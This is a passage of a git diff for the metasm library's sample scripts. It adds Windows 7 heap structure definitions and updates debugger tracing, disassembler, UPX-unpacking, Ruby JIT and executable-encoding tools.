ULONG32 LargestUnCommittedRange; +/*0x018*/ VOID* BaseAddress; +/*0x01C*/ ULONG32 NumberOfPages; +/*0x020*/ struct _HEAP_ENTRY* FirstEntry; +/*0x024*/ struct _HEAP_ENTRY* LastValidEntry; +/*0x028*/ ULONG32 NumberOfUnCommittedPages; +/*0x02C*/ ULONG32 NumberOfUnCommittedRanges; +/*0x030*/ struct _HEAP_UNCOMMMTTED_RANGE* UnCommittedRanges; +/*0x034*/ UINT16 AllocatorBackTraceIndex; +/*0x036*/ UINT16 Reserved; +/*0x038*/ struct _HEAP_ENTRY* LastEntryInSegment; +}HEAP_SEGMENT, *PHEAP_SEGMENT; diff --git a/lib/metasm/samples/dbg-plugins/heapscan/winheap7.h b/lib/metasm/samples/dbg-plugins/heapscan/winheap7.h new file mode 100644 index 0000000000..9358915856 --- /dev/null +++ b/lib/metasm/samples/dbg-plugins/heapscan/winheap7.h @@ -0,0 +1,307 @@ +typedef void VOID; +typedef unsigned __int8 UINT8; +typedef unsigned __int16 UINT16, WCHAR; +typedef __int32 LONG32; +typedef unsigned __int32 ULONG32; +typedef __int64 INT64; +typedef unsigned __int64 UINT64; + +struct HEAPTABLE { + struct _HEAP *list[16]; +}; + +struct _LIST_ENTRY { + struct _LIST_ENTRY *FLink; + struct _LIST_ENTRY *BLink; +}; + +typedef struct _SLIST_HEADER { + struct _SLIST_HEADER *Next; + UINT16 Depth; + UINT16 Sequence; +} SLIST_HEADER, *PSLIST_HEADER; + +struct _SINGLE_LIST_ENTRY { + struct _SINGLE_LIST_ENTRY *Next; +}; + + +typedef struct _HEAP_ENTRY { + VOID* PreviousBlockPrivateData; + UINT16 Size; + UINT8 Flags; + UINT8 SmallTagIndex; + UINT16 PreviousSize; + union + { + UINT8 SegmentOffset; + UINT8 LFHFlags; + }; + UINT8 UnusedBytes; +} HEAP_ENTRY, *PHEAP_ENTRY; + +typedef struct _HEAP_COUNTERS +{ + ULONG32 TotalMemoryReserved; + ULONG32 TotalMemoryCommitted; + ULONG32 TotalMemoryLargeUCR; + ULONG32 TotalSizeInVirtualBlocks; + ULONG32 TotalSegments; + ULONG32 TotalUCRs; + ULONG32 CommittOps; + ULONG32 DeCommitOps; + ULONG32 LockAcquires; + ULONG32 LockCollisions; + ULONG32 CommitRate; + ULONG32 DecommittRate; + ULONG32 CommitFailures; + ULONG32 InBlockCommitFailures; + ULONG32 CompactHeapCalls; + ULONG32 CompactedUCRs; + ULONG32 AllocAndFreeOps; + ULONG32 InBlockDeccommits; + ULONG32 InBlockDeccomitSize; + ULONG32 HighWatermarkSize; + ULONG32 LastPolledSize; +} HEAP_COUNTERS, *PHEAP_COUNTERS; + +typedef struct _HEAP_TUNING_PARAMETERS +{ + ULONG32 CommittThresholdShift; + ULONG32 MaxPreCommittThreshold; +} HEAP_TUNING_PARAMETERS, *PHEAP_TUNING_PARAMETERS; + +typedef struct _HEAP_SEGMENT +{ + struct _HEAP_ENTRY Entry; + ULONG32 SegmentSignature; + ULONG32 SegmentFlags; + struct _LIST_ENTRY SegmentListEntry; + struct _HEAP* Heap; + VOID* BaseAddress; + ULONG32 NumberOfPages; + struct _HEAP_ENTRY* FirstEntry; + struct _HEAP_ENTRY* LastValidEntry; + ULONG32 NumberOfUnCommittedPages; + ULONG32 NumberOfUnCommittedRanges; + UINT16 SegmentAllocatorBackTraceIndex; + UINT16 Reserved; + struct _LIST_ENTRY UCRSegmentList; +} HEAP_SEGMENT, *PHEAP_SEGMENT; + +typedef struct _HEAP +{ + struct _HEAP_SEGMENT Segment; + ULONG32 Flags; + ULONG32 ForceFlags; + ULONG32 CompatibilityFlags; + ULONG32 EncodeFlagMask; + struct _HEAP_ENTRY Encoding; + ULONG32 PointerKey; + ULONG32 Interceptor; + ULONG32 VirtualMemoryThreshold; + ULONG32 Signature; + ULONG32 SegmentReserve; + ULONG32 SegmentCommit; + ULONG32 DeCommitFreeBlockThreshold; + ULONG32 DeCommitTotalFreeThreshold; + ULONG32 TotalFreeSize; + ULONG32 MaximumAllocationSize; + UINT16 ProcessHeapsListIndex; + UINT16 HeaderValidateLength; + VOID* HeaderValidateCopy; + UINT16 NextAvailableTagIndex; + UINT16 MaximumTagIndex; + struct _HEAP_TAG_ENTRY* TagEntries; + struct _LIST_ENTRY UCRList; + ULONG32 AlignRound; + ULONG32 AlignMask; + struct _LIST_ENTRY VirtualAllocdBlocks; + struct _LIST_ENTRY SegmentList; + UINT16 AllocatorBackTraceIndex; + UINT8 _PADDING0_[0x2]; + ULONG32 NonDedicatedListLength; + VOID* BlocksIndex; + VOID* UCRIndex; + struct _HEAP_PSEUDO_TAG_ENTRY* PseudoTagEntries; + struct _LIST_ENTRY FreeLists; + struct _HEAP_LOCK* LockVariable; + VOID* CommitRoutine; + VOID* FrontEndHeap; + UINT16 FrontHeapLockCount; + UINT8 FrontEndHeapType; + UINT8 _PADDING1_[0x1]; + struct _HEAP_COUNTERS Counters; + struct _HEAP_TUNING_PARAMETERS TuningParameters; +} HEAP, *PHEAP; + +typedef struct _HEAP_ENTRY_EXTRA +{ + union + { + struct + { + UINT16 AllocatorBackTraceIndex; + UINT16 TagIndex; + ULONG32 Settable; + }; + UINT64 ZeroInit; + }; +} HEAP_ENTRY_EXTRA, *PHEAP_ENTRY_EXTRA; + +typedef struct _HEAP_FREE_ENTRY +{ + struct _HEAP_ENTRY Entry; + struct _LIST_ENTRY FreeList; +} HEAP_FREE_ENTRY, *PHEAP_FREE_ENTRY; + +typedef struct _HEAP_LIST_LOOKUP +{ + struct _HEAP_LIST_LOOKUP* ExtendedLookup; + ULONG32 ArraySize; + ULONG32 ExtraItem; + ULONG32 ItemCount; + ULONG32 OutOfRangeItems; + ULONG32 BaseIndex; + struct _LIST_ENTRY* ListHead; + ULONG32* ListsInUseUlong; + struct _LIST_ENTRY** ListHints; +} HEAP_LIST_LOOKUP, *PHEAP_LIST_LOOKUP; + +typedef struct _HEAP_LOOKASIDE +{ + struct _SLIST_HEADER ListHead; + UINT16 Depth; + UINT16 MaximumDepth; + ULONG32 TotalAllocates; + ULONG32 AllocateMisses; + ULONG32 TotalFrees; + ULONG32 FreeMisses; + ULONG32 LastTotalAllocates; + ULONG32 LastAllocateMisses; + ULONG32 Counters[2]; + UINT8 _PADDING0_[0x4]; +} HEAP_LOOKASIDE, *PHEAP_LOOKASIDE; + +typedef struct _INTERLOCK_SEQ +{ + union + { + struct + { + UINT16 Depth; + UINT16 FreeEntryOffset; + UINT8 _PADDING0_[0x4]; + }; + struct + { + ULONG32 OffsetAndDepth; + ULONG32 Sequence; + }; + INT64 Exchg; + }; +}INTERLOCK_SEQ, *PINTERLOCK_SEQ; + +typedef struct _HEAP_TAG_ENTRY +{ + ULONG32 Allocs; + ULONG32 Frees; + ULONG32 Size; + UINT16 TagIndex; + UINT16 CreatorBackTraceIndex; + WCHAR TagName[24]; +} HEAP_TAG_ENTRY, *PHEAP_TAG_ENTRY; + +typedef struct _HEAP_UCR_DESCRIPTOR +{ + struct _LIST_ENTRY ListEntry; + struct _LIST_ENTRY SegmentEntry; + VOID* Address; + ULONG32 Size; +} HEAP_UCR_DESCRIPTOR, *PHEAP_UCR_DESCRIPTOR; + +typedef struct _HEAP_USERDATA_HEADER +{ + union + { + struct _SINGLE_LIST_ENTRY SFreeListEntry; + struct _HEAP_SUBSEGMENT* SubSegment; + }; + VOID* Reserved; + ULONG32 SizeIndex; + ULONG32 Signature; +} HEAP_USERDATA_HEADER, *PHEAP_USERDATA_HEADER; + +typedef struct _HEAP_VIRTUAL_ALLOC_ENTRY +{ + struct _LIST_ENTRY Entry; + struct _HEAP_ENTRY_EXTRA ExtraStuff; + ULONG32 CommitSize; + ULONG32 ReserveSize; + struct _HEAP_ENTRY BusyBlock; +} HEAP_VIRTUAL_ALLOC_ENTRY, *PHEAP_VIRTUAL_ALLOC_ENTRY; + +struct _USER_MEMORY_CACHE_ENTRY { + ULONG32 Foo[4]; +}; +struct _HEAP_BUCKET { + ULONG32 Foo; +}; +struct _HEAP_BUCKET_COUNTERS { + ULONG32 Foo[2]; +}; + +typedef struct _HEAP_LOCAL_SEGMENT_INFO +{ + struct _HEAP_SUBSEGMENT* Hint; + struct _HEAP_SUBSEGMENT* ActiveSubsegment; + struct _HEAP_SUBSEGMENT* CachedItems[16]; + struct _SLIST_HEADER SListHeader; + struct _HEAP_BUCKET_COUNTERS Counters; + struct _HEAP_LOCAL_DATA* LocalData; + ULONG32 LastOpSequence; + UINT16 BucketIndex; + UINT16 LastUsed; + ULONG32 Pad; +} HEAP_LOCAL_SEGMENT_INFO, *PHEAP_LOCAL_SEGMENT_INFO; + +typedef struct _HEAP_LOCAL_DATA { + struct _SLIST_HEADER DeletedSubSegments; + struct _LFH_BLOCK_ZONE* CrtZone; + struct _LFH_HEAP* LowFragHeap; + ULONG32 Sequence; + struct _HEAP_LOCAL_SEGMENT_INFO SegmentInfo[128]; +} HEAP_LOCAL_DATA; + +typedef struct _HEAP_SUBSEGMENT +{ + struct _HEAP_LOCAL_SEGMENT_INFO* LocalInfo; + struct _HEAP_USERDATA_HEADER* UserBlocks; + struct _INTERLOCK_SEQ AggregateExchg; + UINT16 BlockSize; + UINT16 Flags; + UINT16 BlockCount; + UINT8 SizeIndex; + UINT8 AffinityIndex; + struct _SINGLE_LIST_ENTRY SFreeListEntry; + ULONG32 Lock; +} HEAP_SUBSEGMENT, *PHEAP_SUBSEGMENT; + +typedef struct _LFH_HEAP +{ + ULONG32 Lock[6]; + struct _LIST_ENTRY SubSegmentZones; + ULONG32 ZoneBlockSize; + VOID* Heap; + ULONG32 SegmentChange; + ULONG32 SegmentCreate; + ULONG32 SegmentInsertInFree; + ULONG32 SegmentDelete; + ULONG32 CacheAllocs; + ULONG32 CacheFrees; + ULONG32 SizeInCache; + ULONG32 RunInfo[3]; + struct _USER_MEMORY_CACHE_ENTRY UserBlockCache[12]; + struct _HEAP_BUCKET Buckets[128]; + struct _HEAP_LOCAL_DATA LocalData[1]; +} LFH_HEAP; diff --git a/lib/metasm/samples/dbg-plugins/trace_func.rb b/lib/metasm/samples/dbg-plugins/trace_func.rb index cc3e18cf71..65bb0594d0 100644 --- a/lib/metasm/samples/dbg-plugins/trace_func.rb +++ b/lib/metasm/samples/dbg-plugins/trace_func.rb @@ -10,16 +10,31 @@ # does not descend in subfunctions # setup the initial breakpoint at func start -def trace_func(addr) +def trace_func(addr, oneshot = false) + @trace_terminate = false + # distinguish different hits on the same function entry counter = 0 - bp = bpx(addr) { |h| + bp = bpx(addr, oneshot) { counter += 1 - id = [disassembler.normalize(addr), counter, @cpu.dbg_func_retaddr(self)] + id = [disassembler.normalize(addr), counter, func_retaddr] trace_func_newtrace(id) trace_func_block(id) - continue if h[:pre_state] == 'continue' + continue } - bp.action.call({}) if addr == pc + if addr == pc + del_bp bp if oneshot + bp.action.call + end +end + +# start tracing now, and stop only when @trace_terminate is set +def trace + @trace_subfuncs = true + @trace_terminate = false + id = [pc, 0, 0] + trace_func_newtrace(id) + trace_func_block(id) + continue end # we hit the beginning of a block we want to trace @@ -30,9 +45,9 @@ def trace_func_block(id) if b.list.length == 1 trace_func_blockend(id, blockaddr) else - bpx(b.list.last.address, true) { |h| + bpx(b.list.last.address, true) { finished = trace_func_blockend(id, blockaddr) - continue if h[:pre_state] == 'continue' and not finished + continue if not finished } end else @@ -44,29 +59,32 @@ end # we are at the end of a traced block, find whats next def trace_func_blockend(id, blockaddr) if di = disassembler.di_at(pc) - if @cpu.dbg_end_stepout(self, di.address, di) and trace_func_istraceend(id, di) + if end_stepout(di) and trace_func_istraceend(id, di) # trace ends there trace_func_finish(id) return true elsif di.opcode.props[:saveip] and not trace_func_entersubfunc(id, di) # call to a subfunction - bpx(di.next_addr, true) { |h| + bpx(di.next_addr, true) { trace_func_block(id) - continue if h[:pre_state] == 'continue' + continue } + continue else - singlestep # XXX would need a callback on singlestep completion (to avoid multithread/exception) - wait_target - newaddr = pc - trace_func_block(id) + singlestep { + newaddr = pc + trace_func_block(id) - trace_func_linkdasm(di.address, newaddr) + trace_func_linkdasm(di.address, newaddr) + continue + } end else # XXX should link in the dasm somehow - singlestep - wait_target - trace_func_block(id) + singlestep { + trace_func_block(id) + continue + } end false end @@ -88,7 +106,7 @@ def trace_func_linkdasm(from_addr, new_addr) return if not di # is it a subfunction return ? - if @cpu.dbg_end_stepout(self, di.address, di) and cdi = (1..8).map { |i| + if end_stepout(di) and cdi = (1..8).map { |i| disassembler.di_at(new_addr - i) }.compact.find { |cdi_| cdi_.opcode.props[:saveip] and cdi_.next_addr == new_addr @@ -148,7 +166,10 @@ def trace_subfuncs; @trace_subfuncs ||= false end # the tracer is on a end-of-func instruction, should the trace end ? def trace_func_istraceend(id, di) if trace_subfuncs - if target = disassembler.get_xrefs_x(di)[0] + if @trace_terminate + true + elsif id[2] == 0 # trace VS func_trace + elsif target = disassembler.get_xrefs_x(di)[0] # check the current return address against the one saved at trace start resolve(disassembler.normalize(target)) == id[2] end @@ -179,7 +200,10 @@ end if gui gui.new_command('trace_func', 'trace execution inside a target function') { |arg| trace_func arg } - gui.new_command('trace_now', 'trace til the end of the current function') { trace_func pc ; gui.wrap_run { continue } } + gui.new_command('trace_func_once', 'trace one execution inside the target function') { |arg| trace_func arg, true } + gui.new_command('trace_now', 'trace til the end of the current function') { trace_func pc, true ; gui.wrap_run { continue } } + gui.new_command('trace', 'start tracing from the current pc until trace_stop') { trace } + gui.new_command('trace_stop', 'stop tracing') { @trace_terminate = true } gui.new_command('trace_subfunctions', 'define if the tracer should enter subfunctions') { |arg| case arg.strip when 'on', '1', 'yes', 'y'; @trace_subfuncs = true diff --git a/lib/metasm/samples/disassemble-gui.rb b/lib/metasm/samples/disassemble-gui.rb index c8a097a765..080b5e0745 100644 --- a/lib/metasm/samples/disassemble-gui.rb +++ b/lib/metasm/samples/disassemble-gui.rb @@ -40,7 +40,7 @@ OptionParser.new { |opt| opt.on('--map ', 'load a map file (addr <-> name association)') { |f| opts[:map] = f } opt.on('--fast', 'dasm cli args with disassemble_fast_deep') { opts[:fast] = true } opt.on('--decompile') { opts[:decompile] = true } - opt.on('--gui ') { |g| require 'metasm/gui/' + g } + opt.on('--gui ') { |g| ENV['METASM_GUI'] = g } opt.on('--cpu ', 'the CPU class to use for a shellcode (Ia32, X64, ...)') { |c| opts[:sc_cpu] = c } opt.on('--exe ', 'the executable file format to use (PE, ELF, ...)') { |c| opts[:exe_fmt] = c } opt.on('--rebase ', 'rebase the loaded file to ') { |a| opts[:rebase] = Integer(a) } @@ -49,6 +49,8 @@ OptionParser.new { |opt| opt.on('-v', '--verbose') { $VERBOSE = true } # default opt.on('-q', '--no-verbose') { $VERBOSE = false } opt.on('-d', '--debug') { $DEBUG = $VERBOSE = true } + opt.on('-S ', '--session ', 'save user actions in this session file') { |a| opts[:session] = a } + opt.on('-N', '--new-session', 'start new session, discard old one') { opts[:newsession] = true } }.parse!(ARGV) case exename = ARGV.shift @@ -66,6 +68,8 @@ when /^(tcp:|udp:)?..+:/ else w = Metasm::Gui::DasmWindow.new("#{exename + ' - ' if exename}metasm disassembler") if exename + opts[:sc_cpu] = eval(opts[:sc_cpu]) if opts[:sc_cpu] =~ /[.(\s:]/ + opts[:exe_fmt] = eval(opts[:exe_fmt]) if opts[:exe_fmt] =~ /[.(\s:]/ exe = w.loadfile(exename, opts[:sc_cpu], opts[:exe_fmt]) exe.disassembler.rebase(opts[:rebase]) if opts[:rebase] if opts[:autoload] @@ -73,6 +77,7 @@ else opts[:map] ||= basename + '.map' if File.exist?(basename + '.map') opts[:cheader] ||= basename + '.h' if File.exist?(basename + '.h') (opts[:plugin] ||= []) << (basename + '.rb') if File.exist?(basename + '.rb') + opts[:session] ||= basename + '.metasm-session' end end end @@ -80,21 +85,46 @@ end ep = ARGV.map { |arg| (?0..?9).include?(arg[0]) ? Integer(arg) : arg } if exe - dasm = exe.init_disassembler + dasm = exe.disassembler dasm.load_map opts[:map] if opts[:map] dasm.parse_c_file opts[:cheader] if opts[:cheader] dasm.backtrace_maxblocks_data = -1 if opts[:nodatatrace] dasm.debug_backtrace = true if opts[:debugbacktrace] - dasm.disassemble_fast_deep(*ep) if opts[:fast] dasm.callback_finished = lambda { w.dasm_widget.focus_addr w.dasm_widget.curaddr, :decompile ; dasm.decompiler.finalize } if opts[:decompile] + dasm.disassemble_fast_deep(*ep) if opts[:fast] elsif dbg dbg.load_map opts[:map] if opts[:map] - opts[:plugin].to_a.each { |p| dbg.load_plugin(p) } + dbg.disassembler.parse_c_file opts[:cheader] if opts[:cheader] + opts[:plugin].to_a.each { |p| + begin + dbg.load_plugin(p) + rescue ::Exception + puts "Error with plugin #{p}: #{$!.class} #{$!}" + end + } end if dasm w.display(dasm, ep) - opts[:plugin].to_a.each { |p| dasm.load_plugin(p) } + opts[:plugin].to_a.each { |p| + begin + dasm.load_plugin(p) + rescue ::Exception + puts "Error with plugin #{p}: #{$!.class} #{$!}" + end + } + + if opts[:session] + if File.exist?(opts[:session]) + if opts[:newsession] + File.unlink(opts[:session]) + else + puts "replaying session #{opts[:session]}" + w.widget.replay_session(opts[:session]) + end + end + w.widget.save_session opts[:session] + end end opts[:hookstr].to_a.each { |f| eval f } diff --git a/lib/metasm/samples/disassemble.rb b/lib/metasm/samples/disassemble.rb index a3acc01610..dbc0e75ba0 100644 --- a/lib/metasm/samples/disassemble.rb +++ b/lib/metasm/samples/disassemble.rb @@ -48,10 +48,23 @@ t0 = Time.now if opts[:benchmark] if exename =~ /^live:(.*)/ raise 'no such live target' if not target = OS.current.find_process($1) p target if $VERBOSE - exe = Shellcode.decode(target.memory, Metasm.const_get(opts[:sc_cpu]).new) + opts[:sc_cpu] = eval(opts[:sc_cpu]) if opts[:sc_cpu] =~ /[.(\s:]/ + opts[:sc_cpu] = Metasm.const_get(opts[:sc_cpu]) if opts[:sc_cpu].kind_of(::String) + opts[:sc_cpu] = opts[:sc_cpu].new if opts[:sc_cpu].kind_of?(::Class) + exe = Shellcode.decode(target.memory, opts[:sc_cpu]) else - exefmt = opts[:exe_fmt] ? Metasm.const_get(opts[:exe_fmt]) : AutoExe.orshellcode { Metasm.const_get(opts[:sc_cpu]).new } - exefmt = exefmt.withcpu(Metasm.const_get(opts[:sc_cpu]).new) if opts[:exe_fmt] == 'Shellcode' and opts[:sc_cpu] + opts[:sc_cpu] = eval(opts[:sc_cpu]) if opts[:sc_cpu] =~ /[.(\s:]/ + opts[:exe_fmt] = eval(opts[:exe_fmt]) if opts[:exe_fmt] =~ /[.(\s:]/ + if opts[:exe_fmt].kind_of?(::String) + exefmt = opts[:exe_fmt] = Metasm.const_get(opts[:exe_fmt]) + else + exefmt = opts[:exe_fmt] || AutoExe.orshellcode { + opts[:sc_cpu] = Metasm.const_get(opts[:sc_cpu]) if opts[:sc_cpu].kind_of?(::String) + opts[:sc_cpu] = opts[:sc_cpu].new if opts[:sc_cpu].kind_of?(::Class) + opts[:sc_cpu] + } + end + exefmt = exefmt.withcpu(opts[:sc_cpu]) if exefmt.kind_of?(::Class) and exefmt.name.to_s.split('::').last == 'Shellcode' exe = exefmt.decode_file(exename) exe.disassembler.rebase(opts[:rebase]) if opts[:rebase] if opts[:autoload] @@ -62,7 +75,7 @@ else end end # set options -dasm = exe.init_disassembler +dasm = exe.disassembler makeint = lambda { |addr| case addr when /^[0-9].*h/; addr.to_i(16) @@ -75,13 +88,19 @@ dasm.parse_c_file opts[:cheader] if opts[:cheader] dasm.backtrace_maxblocks_data = -1 if opts[:nodatatrace] dasm.debug_backtrace = true if opts[:debugbacktrace] opts[:stopaddr].to_a.each { |addr| dasm.decoded[makeint[addr]] = true } -opts[:plugin].to_a.each { |p| dasm.load_plugin p } +opts[:plugin].to_a.each { |p| + begin + dasm.load_plugin p + rescue ::Exception + puts "Error with plugin #{p}: #{$!.class} #{$!}" + end +} opts[:hookstr].to_a.each { |f| eval f } t1 = Time.now if opts[:benchmark] # do the work begin - method = opts[:fast] ? :disassemble_fast : :disassemble + method = opts[:fast] ? :disassemble_fast_deep : :disassemble if ARGV.empty? exe.send(method) else @@ -98,7 +117,13 @@ if opts[:decompile] tdc = Time.now if opts[:benchmark] end -opts[:post_plugin].to_a.each { |p| dasm.load_plugin p } +opts[:post_plugin].to_a.each { |p| + begin + dasm.load_plugin p + rescue ::Exception + puts "Error with plugin #{p}: #{$!.class} #{$!}" + end +} dasm.save_file(opts[:savefile]) if opts[:savefile] diff --git a/lib/metasm/samples/dump_upx.rb b/lib/metasm/samples/dump_upx.rb index 4bb199fa35..1839ffbdb0 100644 --- a/lib/metasm/samples/dump_upx.rb +++ b/lib/metasm/samples/dump_upx.rb @@ -10,7 +10,7 @@ # original entrypoint by disassembling the UPX stub, set breakpoint on it, # run the program, and dump the loaded image to an executable PE. # -# usage: dump_upx.rb [] [] +# usage: dump_upx.rb [] [] [--oep ] # require 'metasm' @@ -21,17 +21,22 @@ class UPXUnpacker # find the oep by disassembling # run it until the oep # dump the memory image - def initialize(file, dumpfile, iat_rva=nil) - @dumpfile = dumpfile || 'upx-dumped.exe' - @iat = iat_rva + def initialize(file, oep, iat, dumpfile) + @dumpfile = dumpfile + @dumpfile ||= file.chomp('.exe') + '.dump.exe' puts 'disassembling UPX loader...' pe = PE.decode_file(file) - @oep = find_oep(pe) - raise 'cant find oep...' if not @oep - puts "oep found at #{Expression[@oep]}" @baseaddr = pe.optheader.image_base - @iat -= @baseaddr if @iat > @baseaddr # va => rva + + @oep = oep + @oep -= @baseaddr if @oep and @oep > @baseaddr # va => rva + @oep ||= find_oep(pe) + raise 'cant find oep...' if not @oep + puts "oep found at #{Expression[@oep]}" if not oep + + @iat = iat + @iat -= @baseaddr if @iat and @iat > @baseaddr @dbg = OS.current.create_process(file).debugger puts 'running...' @@ -40,7 +45,7 @@ class UPXUnpacker # disassemble the upx stub to find a cross-section jump (to the real entrypoint) def find_oep(pe) - dasm = pe.disassemble_fast 'entrypoint' + dasm = pe.disassemble_fast_deep 'entrypoint' return if not jmp = dasm.decoded.find { |addr, di| # check only once per basic block @@ -80,7 +85,8 @@ class UPXUnpacker dump.sections.each { |s| s.characteristics |= ['MEM_WRITE'] } # write the PE file to disk - dump.encode_file @dumpfile + # as UPX strips the relocation information, mark the exe to opt-out from ASLR + dump.encode_file @dumpfile, 'exe', false puts 'dump complete' ensure @@ -90,6 +96,12 @@ class UPXUnpacker end if __FILE__ == $0 - # args: packed [unpacked] [iat rva] - UPXUnpacker.new(ARGV.shift, ARGV.shift, (Integer(ARGV.shift) rescue nil)) + fn = ARGV.shift + oep = Integer(ARGV.shift) unless ARGV.empty? + oep = nil if oep == -1 + iat = Integer(ARGV.shift) unless ARGV.empty? + iat = nil if iat == -1 + out = ARGV.shift + abort 'usage: dump [] [] []' if not File.exist?(fn) + UPXUnpacker.new(fn, oep, iat, out) end diff --git a/lib/metasm/samples/dynamic_ruby.rb b/lib/metasm/samples/dynamic_ruby.rb index 705706d7e6..d86e3b5813 100644 --- a/lib/metasm/samples/dynamic_ruby.rb +++ b/lib/metasm/samples/dynamic_ruby.rb @@ -289,12 +289,15 @@ EOS m ? @cp.dump_definition(m) : @cp.to_s end + @@optim_hint = {} + def self.optim_hint; @@optim_hint; end + attr_accessor :optim_hint def initialize(cp=nil) @cp = cp || DynLdr.host_cpu.new_cparser @cp.parse RUBY_H @iter_break = nil - @optim_hint = {} + @optim_hint = @@optim_hint.dup end # convert a ruby AST to a new C function @@ -408,7 +411,7 @@ EOS ast_to_c(a, els, false) @scope.statements << C::If.new(cnd, thn, els) } - end + end if args[3] raise Fail, "unhandled vararglist3 #{args.inspect}" if args[3][0] != :lasgn @@ -547,7 +550,7 @@ EOS body_other_head = fu end body_other = fu - end + end # default case statement else @@ -773,7 +776,7 @@ EOS e = ast[3].dup e[-1] = [:call, [:call, [:rb2cvar, full.name], '[]', [:array, [:dot2, [:lit, ast[1].length-1], [:lit, -1]]]], 'to_a'] ast_to_c(e, scope, false) - end + end full end @@ -822,7 +825,7 @@ EOS l = local(ast[1], :none) else # w = 4 if false ; p w => should be nil - l = local(ast[1]) + l = local(ast[1]) end st = ast_to_c(ast[2], scope, l) scope.statements << C::CExpression[l, :'=', st] if st != l @@ -885,7 +888,7 @@ EOS if idx scope.statements << rb_funcall(recv, ast[2], idx, arg) else - scope.statements << rb_funcall(recv, ast[2], arg) + scope.statements << rb_funcall(recv, ast[2], arg) end tmp @@ -926,17 +929,17 @@ EOS ast[1][1..-1].each { |k| if not ki ki = k - else + else scope.statements << fcall('rb_hash_aset', tmp, ast_to_c(ki, scope), ast_to_c(k, scope)) ki = nil - end + end } tmp when :iter if v = optimize_iter(ast, scope, want_value) return v - end + end # for full support of :iter, we need access to the interpreter's ruby_block private global variable in eval.c # we can find it by analysing rb_block_given_p, but this won't work with a static precompiled rubyhack... # even with access to ruby_block, there we would need to redo PUSH_BLOCK, create a temporary dvar list, @@ -993,7 +996,7 @@ EOS tbdy.statements << C::CExpression[tmp, :'=', thn] if tmp != thn if ast[3] els = ast_to_c(ast[3], ebdy, tmp) - else + else # foo = if bar ; baz ; end => nil if !bar els = rb_nil end @@ -1135,10 +1138,10 @@ EOS args = ast[3][1..-1] if ast[3] and ast[3][0] == :array arg0 = args[0] if args and args[0] - if arg0 and arg0[0] == :lit and arg0[1].kind_of? Fixnum + if arg0 and arg0[0] == :lit and arg0[1].kind_of?(Fixnum) and %w[== > < >= <= + -].include?(op) + # TODO or @optim_hint[ast[1]] == 'fixnum' # optimize 'x==42', 'x+42', 'x-42' o2 = arg0[1] - return if not %w[== > < >= <= + -].include? op if o2 < 0 and ['+', '-'].include? op # need o2 >= 0 for overflow detection op = {'+' => '-', '-' => '+'}[op] @@ -1177,7 +1180,7 @@ EOS # add_optimized_statement wont handle the overflow check correctly scope.statements << t else - scope.statements << C::If.new(cnd, t, e) + scope.statements << C::If.new(cnd, t, e) end when '-' e = ce[recv, :-, [int_v-1]] @@ -1187,8 +1190,8 @@ EOS if @optim_hint[ast[1]] == 'fixnum' scope.statements << t else - scope.statements << C::If.new(cnd, t, e) - end + scope.statements << C::If.new(cnd, t, e) + end end tmp @@ -1809,8 +1812,8 @@ EOS ctr = C::CExpression[:'++', [@rb_fcntr, :'[]', [@rb_fcid]]] C::CExpression[ctr, :',', super(recv, meth, *args)] - end end + end end end @@ -1819,6 +1822,12 @@ end if __FILE__ == $0 or ARGV.delete('ignore_argv0') +while i = ARGV.index('-e') + # setup optim_hint etc + ARGV.delete_at(i) + eval ARGV.delete_at(i) +end + demo = case ARGV.first when nil; :test_jit when 'asm'; :inlineasm @@ -1898,10 +1907,10 @@ when :compile_ruby when :test_jit class Foo def bla(x=500) - i = 0 + i = 0 x.times { i += 16 } - i - end + i + end end t0 = Time.now diff --git a/lib/metasm/samples/exeencode.rb b/lib/metasm/samples/exeencode.rb index bf38ec3f4e..58e8dd49c9 100644 --- a/lib/metasm/samples/exeencode.rb +++ b/lib/metasm/samples/exeencode.rb @@ -26,7 +26,8 @@ $opts = { OptionParser.new { |opt| opt.on('-o file', 'output filename') { |f| $opts[:outfilename] = f } - opt.on('-f') { $opts[:overwrite_outfile] = true } + opt.on('-i', 'dont overwrite existing outfile') { $opts[:nooverwrite_outfile] = true } + opt.on('-f', 'overwrite existing outfile (default)') { $opts.delete :nooverwrite_outfile } # without this, optparse autocomplete to --fno-pic and break older scripts... opt.on('--c', 'parse source as a C file') { $opts[:srctype] = 'c' } opt.on('--asm', 'parse asm as an ASM file') { $opts[:srctype] = 'asm' } opt.on('--stdin', 'parse source on stdin') { ARGV << '-' } @@ -44,7 +45,7 @@ OptionParser.new { |opt| opt.on('--le', 'set cpu in little-endian mode') { $opts[:cpu].endianness = :little } opt.on('--be', 'set cpu in big-endian mode') { $opts[:cpu].endianness = :big } opt.on('--fno-pic', 'generate position-dependant code') { $opts[:cpu].generate_PIC = false } - opt.on('--shared', 'generate shared library') { $opts[:exetype] = :lib } + opt.on('--shared', '--lib', '--dll', 'generate shared library') { $opts[:exetype] = :lib } opt.on('--ruby-module-hack', 'use the dynldr module hack to use any ruby lib available for ruby symbols') { $opts[:dldrhack] = true } }.parse! @@ -62,7 +63,7 @@ else src << DATA.read # the text after __END__ in this file end -if $opts[:outfilename] and not $opts[:overwrite_outfile] and File.exist?($opts[:outfilename]) +if $opts[:outfilename] and $opts[:nooverwrite_outfile] and File.exist?($opts[:outfilename]) abort "Error: target file exists !" end @@ -93,7 +94,7 @@ if $opts[:to_string] end if of = $opts[:outfilename] - abort "Error: target file #{of.inspect} exists !" if File.exists? of and not $opts[:overwrite_outfile] + abort "Error: target file #{of.inspect} exists !" if File.exists?(of) and $opts[:nooverwrite_outfile] File.open(of, 'w') { |fd| fd.puts str } puts "saved to file #{of.inspect}" else @@ -101,7 +102,7 @@ if $opts[:to_string] end else of = $opts[:outfilename] ||= 'a.out' - abort "Error: target file #{of.inspect} exists !" if File.exists? of and not $opts[:overwrite_outfile] + abort "Error: target file #{of.inspect} exists !" if File.exists?(of) and $opts[:nooverwrite_outfile] Metasm::DynLdr.compile_binary_module_hack(exe) if $opts[:dldrhack] exe.encode_file(of, $opts[:exetype]) puts "saved to file #{of.inspect}" diff --git a/lib/metasm/samples/factorize-headers-peimports.rb b/lib/metasm/samples/factorize-headers-peimports.rb index 378b7598a6..294426fabd 100644 --- a/lib/metasm/samples/factorize-headers-peimports.rb +++ b/lib/metasm/samples/factorize-headers-peimports.rb @@ -41,18 +41,13 @@ if opts[:vspath] ||= ARGV.shift end funcnames = opts[:exe].map { |e| - pe = PE.decode_file_header(e) rescue nil - - pe.decode_imports if pe - if pe and not pe.imports + pe = PE.decode_file_header(e) rescue next + pe.decode_imports + if not pe.imports puts 